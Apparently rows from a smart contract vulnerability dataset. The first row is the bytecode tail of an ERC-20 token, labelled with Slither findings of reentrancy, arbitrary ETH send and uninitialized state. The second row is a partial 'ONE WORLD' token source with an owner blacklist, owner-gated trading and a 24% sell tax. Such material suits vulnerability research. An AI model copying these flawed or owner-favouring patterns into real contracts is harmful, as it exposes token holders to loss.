ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600981526020017f496e7520537465696e000000000000000000000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220919f931455ea515a86f73040addd72f588d640bd17693851d5719c83f3450e7c64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,108 |
0x25f0500576c4b555c3ba70ceba92d40b3748f610 | /**
*Submitted for verification at Etherscan.io on 2022-01-19
*/
/* SPDX-License-Identifier: MIT
______ _____ ___ _______ __ __ ___ ______ _______ ___ ________
/ " \ (\" \|" \ /" "| |" |/ \| "| / " \ /" \ |" | |" "\
// ____ \ |.\\ \ |(: ______) |' / \: | // ____ \ |: ||| | (. ___ :)
/ / ) :)|: \. \\ | \/ | |: /' | / / ) :)|_____/ )|: | |: \ ) ||
(: (____/ // |. \ \. | // ___)_ \// /\' |(: (____/ // // / \ |___ (| (___\ ||
\ / | \ \ |(: "| / / \\ | \ / |: __ \ ( \_|: \ |: :)
\"_____/ \___|\____\) \_______) |___/ \___| \"_____/ |__| \___) \_______)(________/
Twitter: https://twitter.com/oneworlderc20
Telegram: t.me/OneWorld_Quest
Website: https://oneworld.quest/
*/
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ONE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ONE WORLD";
string private constant _symbol = "ONEWORLD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 public _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 12; // 10 after the first 48h
//Sell Fee
uint256 private _taxFeeOnSell = 24; // 12 after the first 48h
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public blacklist;
address payable public marketingAddress = payable(0x2c12Bafb9d1652644Ce052f7E20b6B6428c499E0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 7500000 * 10**9; // 0.75%
uint256 public _maxWalletSize = 20000000 * 10**9; // 2%
uint256 public _tokenSwapThreshold = 1000000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function launch() public onlyOwner {
tradingOpen = true;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function removeAllFee() private {
if (_taxFee == 0) return;
_previoustaxFee = _taxFee;
_taxFee = 0;
}
function restoreAllFee() private {
_taxFee = _previoustaxFee;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
// Transfer functions
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
require(tradingOpen,"TOKEN: This token isn't tradable yet");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!blacklist[from] && !blacklist[to],"TOKEN: Your account is blacklisted!");
if (to != uniswapV2Pair) {
require(
balanceOf(to) + amount < _maxWalletSize,
"TOKEN: Balance exceeds wallet size!"
);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool shouldSwap = contractTokenBalance >= _tokenSwapThreshold;
if (contractTokenBalance >= _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}
if (shouldSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHtoMarketing(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if (
(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||
(from != uniswapV2Pair && to != uniswapV2Pair)
) {
takeFee = false;
} else {
//Set Fee for Buys
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
